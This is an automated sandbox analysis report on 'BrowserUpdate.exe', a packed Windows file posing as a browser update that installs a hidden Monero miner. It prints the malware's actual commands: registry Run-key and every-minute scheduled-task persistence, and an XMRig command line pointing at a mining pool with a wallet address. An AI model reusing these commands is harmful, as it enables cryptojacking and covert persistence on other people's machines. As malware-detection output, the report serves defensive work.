Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	April 21, 2021, 5:12 p.m.	April 21, 2021, 5:15 p.m.

Size	916.5KB
Type	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
MD5	`048aa5b804cde0768111c633e0faa028`
SHA256	`59df8a62108bbf3120e6699e616417f393aefaf0574b1fd1ae2bcb7802d543da`
CRC32	`8D57E6F7`
ssdeep	`12288:21oYI63MyxbFvw5pQKEjp9JsAAs0UWUKRHhhWV0EYn0v7KytlZTVtMh1FP8TjOu:WLr9RAphLWyEY0veytNWh1un`
Yara	PE_Header_Zero - PE File Signature Zero IsPE32 - (no description) IsWindowsGUI - (no description) IsPacked - Entropy Check HasRichSignature - Rich Signature Check UPX_Zero - UPX packed file

BrowserUpdate.exe "C:\Users\test22\AppData\Local\Temp\BrowserUpdate.exe"
2332
- cmd.exe cmd /c echo f|xcopy /y "C:\Users\test22\AppData\Local\Temp\BrowserUpdate.exe" "%AppData%\Update.exe" >nul && reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Run /d "%APPDATA%\Update.exe" /t REG_SZ /f
  540
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo f"
    2164
  - xcopy.exe xcopy /y "C:\Users\test22\AppData\Local\Temp\BrowserUpdate.exe" "C:\Users\test22\AppData\Roaming\Update.exe"
    2112
  - reg.exe reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Run /d "C:\Users\test22\AppData\Roaming\Update.exe" /t REG_SZ /f
    1456
- schtasks.exe schtasks /create /F /sc minute /mo 1 /tn "BrowserUpdate" /tr "%AppData%\Update.exe"
  2076
- cmd.exe cmd /c "%TEMP%\ModuleInstaller.exe" --coin monero --donate-level 0 -o xmr-eu2.nanopool.org:14444 -u 41wSatLj9j4ZnwkBj2bEL59TdW7Fp8mmcUpKPyuB5XeBZNMxHND2MpK75w4q4mLtNmhQGVUnTdhh4XTffKFQ1Xz3Qk4hYoo
  2256
  - ModuleInstaller.exe C:\Users\test22\AppData\Local\Temp\ModuleInstaller.exe --coin monero --donate-level 0 -o xmr-eu2.nanopool.org:14444 -u 41wSatLj9j4ZnwkBj2bEL59TdW7Fp8mmcUpKPyuB5XeBZNMxHND2MpK75w4q4mLtNmhQGVUnTdhh4XTffKFQ1Xz3Qk4hYoo
    1632

Name	Response	Post-Analysis Lookup
xmr-eu2.nanopool.org	A 213.32.74.157 A 51.15.55.100 A 51.15.67.17 A 151.80.144.188 A 51.255.34.80 A 51.15.55.162 A 51.255.34.79	51.255.34.79

IP Address	Status	Action
164.124.101.2	Active	Moloch
51.255.34.80	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49205 -> 51.255.34.80:14444	2024792	ET POLICY Cryptocurrency Miner Checkin	Potential Corporate Privacy Violation

Suricata TLS

No Suricata TLS

Queries for the computername (1 event)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameW April 21, 2021, 5:12 p.m.	computer_name: TEST22-PC	1	1	0

Command line console output was observed (50 out of 118 events)

Time & API	Arguments	Status	Return
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: SUCCESS: The scheduled task "BrowserUpdate" has successfully been created. console_handle: 0x00000007	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: Huge pages support was successfully enabled, but reboot required to use it console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: ABOUT console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: XMRig/6.4.0 console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: MSVC/2017 console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: LIBS libuv/1.31.0 hwloc/2.2.0 console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: HUGE PAGES console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: unavailable console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: 1GB PAGES console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: unavailable console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: CPU Intel(R) Core(TM) i5-8400 CPU @ 2.80GHz (1) console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: x64 console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: AES console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: L2: console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: 0.5 MB console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: L3: console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: 18.0 MB console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: C console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: T console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: NUMA: console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: MEMORY console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: 0.8/5.0 GB console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: DONATE console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: ASSEMBLY auto: console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: intel console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: POOL #1 console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: xmr-eu2.nanopool.org:14444 console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: coin console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: monero console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: COMMANDS console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: h console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: ashrate, console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: p console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: ause, console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: r console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: esume, console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: re console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: s console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: ults, console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: c console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: onnection console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: CUDA console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: disabled console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: net console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: use pool console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: xmr-eu2.nanopool.org:14444 console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: net console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: new job console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: from console_handle: 0x0000000000000013	1	1
WriteConsoleW April 21, 2021, 5:12 p.m.	buffer: xmr-eu2.nanopool.org:14444 console_handle: 0x0000000000000013	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx April 21, 2021, 5:12 p.m.		1	1	0

The executable uses a known packer (1 event)

packer

UPX 2.90 [LZMA] -> Markus Oberhumer, Laszlo Molnar & John Reiser

The file contains an unknown PE resource name possibly indicative of a packer (1 event)

resource name

BIN

Allocates read-write-execute memory (usually to unpack itself) (4 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory April 21, 2021, 5:12 p.m.	process_identifier: 1632 region_size: 81920 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000001ce0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 21, 2021, 5:12 p.m.	process_identifier: 1632 region_size: 131072 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002640000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 21, 2021, 5:13 p.m.	process_identifier: 1632 region_size: 131072 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002690000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 21, 2021, 5:13 p.m.	process_identifier: 1632 region_size: 131072 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000028e0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffffffffffff	1

Foreign language identified in PE resource (11 events)

name

BIN

language

LANG_CHINESE

filetype

data

sublanguage

SUBLANG_CHINESE_SIMPLIFIED

offset

0x00225cc0

size

0x000038d0

name

BIN

language

LANG_CHINESE

filetype

data

sublanguage

SUBLANG_CHINESE_SIMPLIFIED

offset

0x00225cc0

size

0x000038d0

name

RT_ICON

language

LANG_CHINESE

filetype

GLS_BINARY_LSB_FIRST

sublanguage

SUBLANG_CHINESE_SIMPLIFIED

offset

0x002488a8

size

0x00000468

name

RT_ICON

language

LANG_CHINESE

filetype

GLS_BINARY_LSB_FIRST

sublanguage

SUBLANG_CHINESE_SIMPLIFIED

offset

0x002488a8

size

0x00000468

name

RT_ICON

language

LANG_CHINESE

filetype

GLS_BINARY_LSB_FIRST

sublanguage

SUBLANG_CHINESE_SIMPLIFIED

offset

0x002488a8

size

0x00000468

name

RT_ICON

language

LANG_CHINESE

filetype

GLS_BINARY_LSB_FIRST

sublanguage

SUBLANG_CHINESE_SIMPLIFIED

offset

0x002488a8

size

0x00000468

name

RT_ICON

language

LANG_CHINESE

filetype

GLS_BINARY_LSB_FIRST

sublanguage

SUBLANG_CHINESE_SIMPLIFIED

offset

0x002488a8

size

0x00000468

name

RT_ICON

language

LANG_CHINESE

filetype

GLS_BINARY_LSB_FIRST

sublanguage

SUBLANG_CHINESE_SIMPLIFIED

offset

0x002488a8

size

0x00000468

name

RT_ICON

language

LANG_CHINESE

filetype

GLS_BINARY_LSB_FIRST

sublanguage

SUBLANG_CHINESE_SIMPLIFIED

offset

0x002488a8

size

0x00000468

name

RT_ICON

language

LANG_CHINESE

filetype

GLS_BINARY_LSB_FIRST

sublanguage

SUBLANG_CHINESE_SIMPLIFIED

offset

0x002488a8

size

0x00000468

name

RT_GROUP_ICON

language

LANG_CHINESE

filetype

data

sublanguage

SUBLANG_CHINESE_SIMPLIFIED

offset

0x00248d14

size

0x00000076

Creates executable files on the filesystem (2 events)

file	C:\Users\test22\AppData\Roaming\Update.exe
file	C:\Users\test22\AppData\Local\Temp\ModuleInstaller.exe

Creates a suspicious process (2 events)

cmdline	C:\Windows\system32\cmd.exe /S /D /c" echo f"
cmdline	schtasks /create /F /sc minute /mo 1 /tn "BrowserUpdate" /tr "%AppData%\Update.exe"

Drops a binary and executes it (1 event)

file	C:\Users\test22\AppData\Local\Temp\ModuleInstaller.exe

Drops an executable to the user AppData folder (1 event)

file	C:\Users\test22\AppData\Roaming\Update.exe

Searches running processes potentially to identify processes for sandbox evasion, code injection or memory dumping (13 events)

Time & API	Arguments	Status	Return
Process32NextW April 21, 2021, 5:12 p.m.	snapshot_handle: 0x00000084 process_name: pw.exe process_identifier: 3060	1	1
Process32NextW April 21, 2021, 5:12 p.m.	snapshot_handle: 0x00000084 process_name: BrowserUpdate.exe process_identifier: 2332	1	1
Process32NextW April 21, 2021, 5:12 p.m.	snapshot_handle: 0x00000084 process_name: cmd.exe process_identifier: 540	1	1
Process32NextW April 21, 2021, 5:12 p.m.	snapshot_handle: 0x00000084 process_name: conhost.exe process_identifier: 1756	1	1
Process32NextW April 21, 2021, 5:12 p.m.	snapshot_handle: 0x00000084 process_name: schtasks.exe process_identifier: 2076	1	1
Process32NextW April 21, 2021, 5:12 p.m.	snapshot_handle: 0x00000084 process_name: cmd.exe process_identifier: 2256	1	1
Process32NextW April 21, 2021, 5:12 p.m.	snapshot_handle: 0x00000084 process_name: conhost.exe process_identifier: 2876	1	1
Process32NextW April 21, 2021, 5:12 p.m.	snapshot_handle: 0x00000084 process_name: ModuleInstaller.exe process_identifier: 1632	1	1
Process32NextW April 21, 2021, 5:12 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020	1	1
Process32NextW April 21, 2021, 5:12 p.m.	snapshot_handle: 0x00000084 process_name: cmd.exe process_identifier: 1852	1	1
Process32NextW April 21, 2021, 5:12 p.m.	snapshot_handle: 0x00000084 process_name: conhost.exe process_identifier: 2948	1	1
Process32NextW April 21, 2021, 5:13 p.m.	snapshot_handle: 0x00000084 process_name: cmd.exe process_identifier: 556	1	1
Process32NextW April 21, 2021, 5:13 p.m.	snapshot_handle: 0x00000084 process_name: conhost.exe process_identifier: 2760	1	1

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x000d7c00', u'virtual_address': u'0x00164000', u'entropy': 7.908362860766012, u'name': u'UPX1', u'virtual_size': u'0x000d8000'}

entropy

7.90836286077

description

A section with a high entropy has been found

entropy

0.942654287275

description

Overall entropy of this PE file is high

Expresses interest in specific running processes (1 event)

process

moduleinstaller.exe

Repeatedly searches for a not-found process, you may want to run a web browser during analysis (50 out of 120 events)

Time & API	Arguments	Status	Return	Repeated
Process32NextW April 21, 2021, 5:12 p.m.	snapshot_handle: 0x00000084 process_name: schtasks.exe process_identifier: 2076		0	0
Process32NextW April 21, 2021, 5:12 p.m.	snapshot_handle: 0x00000084 process_name: schtasks.exe process_identifier: 2076		0	0
Process32NextW April 21, 2021, 5:12 p.m.	snapshot_handle: 0x00000084 process_name: ModuleInstaller.exe process_identifier: 1632		0	0
Process32NextW April 21, 2021, 5:12 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020		0	0
Process32NextW April 21, 2021, 5:12 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020		0	0
Process32NextW April 21, 2021, 5:12 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020		0	0
Process32NextW April 21, 2021, 5:12 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020		0	0
Process32NextW April 21, 2021, 5:12 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020		0	0
Process32NextW April 21, 2021, 5:12 p.m.	snapshot_handle: 0x00000084 process_name: conhost.exe process_identifier: 2948		0	0
Process32NextW April 21, 2021, 5:12 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020		0	0
Process32NextW April 21, 2021, 5:12 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020		0	0
Process32NextW April 21, 2021, 5:12 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020		0	0
Process32NextW April 21, 2021, 5:13 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020		0	0
Process32NextW April 21, 2021, 5:13 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020		0	0
Process32NextW April 21, 2021, 5:13 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020		0	0
Process32NextW April 21, 2021, 5:13 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020		0	0
Process32NextW April 21, 2021, 5:13 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020		0	0
Process32NextW April 21, 2021, 5:13 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020		0	0
Process32NextW April 21, 2021, 5:13 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020		0	0
Process32NextW April 21, 2021, 5:13 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020		0	0
Process32NextW April 21, 2021, 5:13 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020		0	0
Process32NextW April 21, 2021, 5:13 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020		0	0
Process32NextW April 21, 2021, 5:13 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020		0	0
Process32NextW April 21, 2021, 5:13 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020		0	0
Process32NextW April 21, 2021, 5:13 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020		0	0
Process32NextW April 21, 2021, 5:13 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020		0	0
Process32NextW April 21, 2021, 5:13 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020		0	0
Process32NextW April 21, 2021, 5:13 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020		0	0
Process32NextW April 21, 2021, 5:13 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020		0	0
Process32NextW April 21, 2021, 5:13 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020		0	0
Process32NextW April 21, 2021, 5:13 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020		0	0
Process32NextW April 21, 2021, 5:13 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020		0	0
Process32NextW April 21, 2021, 5:13 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020		0	0
Process32NextW April 21, 2021, 5:13 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020		0	0
Process32NextW April 21, 2021, 5:13 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020		0	0
Process32NextW April 21, 2021, 5:13 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020		0	0
Process32NextW April 21, 2021, 5:13 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020		0	0
Process32NextW April 21, 2021, 5:13 p.m.	snapshot_handle: 0x00000084 process_name: conhost.exe process_identifier: 2760		0	0
Process32NextW April 21, 2021, 5:13 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020		0	0
Process32NextW April 21, 2021, 5:13 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020		0	0
Process32NextW April 21, 2021, 5:13 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020		0	0
Process32NextW April 21, 2021, 5:13 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020		0	0
Process32NextW April 21, 2021, 5:13 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020		0	0
Process32NextW April 21, 2021, 5:13 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020		0	0
Process32NextW April 21, 2021, 5:13 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020		0	0
Process32NextW April 21, 2021, 5:13 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020		0	0
Process32NextW April 21, 2021, 5:13 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020		0	0
Process32NextW April 21, 2021, 5:13 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020		0	0
Process32NextW April 21, 2021, 5:13 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020		0	0
Process32NextW April 21, 2021, 5:13 p.m.	snapshot_handle: 0x00000084 process_name: taskhost.exe process_identifier: 2020		0	0

The executable is compressed using UPX (2 events)

section	UPX0				description	Section name indicates UPX
section	UPX1				description	Section name indicates UPX

Uses Windows utilities for basic Windows functionality (3 events)

cmdline	reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Run /d "C:\Users\test22\AppData\Roaming\Update.exe" /t REG_SZ /f
cmdline	cmd /c echo f\|xcopy /y "C:\Users\test22\AppData\Local\Temp\BrowserUpdate.exe" "%AppData%\Update.exe" >nul && reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Run /d "%APPDATA%\Update.exe" /t REG_SZ /f
cmdline	schtasks /create /F /sc minute /mo 1 /tn "BrowserUpdate" /tr "%AppData%\Update.exe"

Installs itself for autorun at Windows startup (2 events)

reg_key	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Run				reg_value	C:\Users\test22\AppData\Roaming\Update.exe
cmdline	schtasks /create /F /sc minute /mo 1 /tn "BrowserUpdate" /tr "%AppData%\Update.exe"

Created a service where a service was also not started (1 event)

Time & API	Arguments	Status	Return	Repeated
CreateServiceW April 21, 2021, 5:12 p.m.	service_start_name: start_type: 3 password: display_name: WinRing0_1_2_0 filepath: C:\Users\test22\AppData\Local\Temp\WinRing0x64.sys service_name: WinRing0_1_2_0 filepath_r: C:\Users\test22\AppData\Local\Temp\WinRing0x64.sys desired_access: 983551 service_handle: 0x00000000004b9830 error_control: 1 service_type: 1 service_manager_handle: 0x00000000004b9800	1	4954160	0

A stratum cryptocurrency mining command was executed (2 events)

cmdline	C:\Users\test22\AppData\Local\Temp\ModuleInstaller.exe --coin monero --donate-level 0 -o xmr-eu2.nanopool.org:14444 -u 41wSatLj9j4ZnwkBj2bEL59TdW7Fp8mmcUpKPyuB5XeBZNMxHND2MpK75w4q4mLtNmhQGVUnTdhh4XTffKFQ1Xz3Qk4hYoo
cmdline	cmd /c "%TEMP%\ModuleInstaller.exe" --coin monero --donate-level 0 -o xmr-eu2.nanopool.org:14444 -u 41wSatLj9j4ZnwkBj2bEL59TdW7Fp8mmcUpKPyuB5XeBZNMxHND2MpK75w4q4mLtNmhQGVUnTdhh4XTffKFQ1Xz3Qk4hYoo

File has been identified by 38 AntiVirus engines on VirusTotal as malicious (38 events)

Bkav	W32.AIDetect.malware2
Elastic	malicious (high confidence)
MicroWorld-eScan	Generic.Dacic.1.BitCoinMiner.A.D7107BC0
FireEye	Generic.mg.048aa5b804cde076
Qihoo-360	HEUR/QVM11.1.B7C7.Malware.Gen
ALYac	Generic.Dacic.1.BitCoinMiner.A.D7107BC0
Cylance	Unsafe
Cybereason	malicious.804cde
BitDefenderTheta	Gen:NN.ZexaF.34678.5mGfaOWMXigj
Cyren	W64/Trojan.IBKR-0645
Symantec	ML.Attribute.HighConfidence
ESET-NOD32	a variant of Win64/CoinMiner.QG potentially unwanted
APEX	Malicious
Avast	Win32:Miner-DM [Trj]
Cynet	Malicious (score: 100)
Kaspersky	UDS:Trojan.Win32.CoinMiner
BitDefender	Generic.Dacic.1.BitCoinMiner.A.D7107BC0
Paloalto	generic.ml
AegisLab	Trojan.Win32.CoinMiner.4!c
Tencent	Win32.Risk.Bitminer.Eoo
Ad-Aware	Generic.Dacic.1.BitCoinMiner.A.D7107BC0
Emsisoft	Generic.Dacic.1.BitCoinMiner.A.D7107BC0 (B)
TrendMicro	Coinminer.Win64.TOOLXMR.SMA
McAfee-GW-Edition	BehavesLike.Win32.Generic.dc
Sophos	Generic ML PUA (PUA)
Ikarus	PUA.CoinMiner
Avira	TR/Dropper.Gen
Microsoft	Trojan:Win32/CoinMiner.AC!bit
ZoneAlarm	not-a-virus:HEUR:RiskTool.Win32.BitMiner.gen
GData	Generic.Dacic.1.BitCoinMiner.A.D7107BC0
McAfee	Artemis!048AA5B804CD
MAX	malware (ai score=89)
Rising	Malware.Heuristic!ET#96% (RDMK:cmRtazpe2J7sEjSVXhRxPZhklgfW)
SentinelOne	Static AI - Malicious PE
eGambit	Unsafe.AI_Score_98%
AVG	Win32:Miner-DM [Trj]
Panda	Trj/CI.A
CrowdStrike	win/malicious_confidence_80% (W)

BrowserUpdate.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All